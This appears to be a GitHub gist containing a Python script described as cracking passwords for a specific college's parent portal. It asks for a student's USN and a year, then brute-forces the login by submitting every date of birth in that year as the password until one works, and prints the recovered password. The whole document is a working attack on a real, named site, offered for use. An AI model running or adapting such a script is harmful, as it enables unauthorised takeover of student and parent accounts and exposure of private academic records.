Skip to content

Instantly share code, notes, and snippets.

@bipinkrish
Last active January 9, 2023 15:59
Show Gist options
  • Save bipinkrish/b6ddbdab62c1f44a98d9c1f6097bf75f to your computer and use it in GitHub Desktop.
Save bipinkrish/b6ddbdab62c1f44a98d9c1f6097bf75f to your computer and use it in GitHub Desktop.
It cracks Password for the site sims.sit.ac.in/parents/
import requests
import datetime
url = "https://sims.sit.ac.in/parents/index.php"
username = input("What is the USN you wish to attempt? ").upper()
year = int(input("Which Year? (only checks for that particular year) "))
month = int(input("Which Month to start from? (type 1 if you don't know where to start) "))
day = int(input("Which Day to start from? (type 1 if you don't know where to start) "))
print()
start_date = datetime.date(year, month, day)
end_date = datetime.date(year, 12, 31)
for passwd in (start_date + datetime.timedelta(n) for n in range((end_date - start_date).days + 1)):
data = {'username': username, 'dd': passwd.day, 'mm': passwd.month, 'yyyy': passwd.year, 'passwd': passwd, 'remember': 'No', 'option': 'com_user', 'task': 'login', 'return': '%EF%BF%BDw%5E%C6%98i', 'return': '&48b141010cf67ef9200b6d9d052fade2=1', "Login": 'submit'}
rec_data = requests.post(url, data=data)
if username in rec_data.text:
print(f"Success, Password for {username} is {passwd} (yyyy-mm-dd) \n\r", end='', flush=True)
break
else:
print(f"Password failed: {passwd} \r", end='', flush=True)
else:
print("Failed, password for",username,"is not present in from",start_date,"to",end_date)
@bipinkrish
Copy link
Author

--Requirements--

requests

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment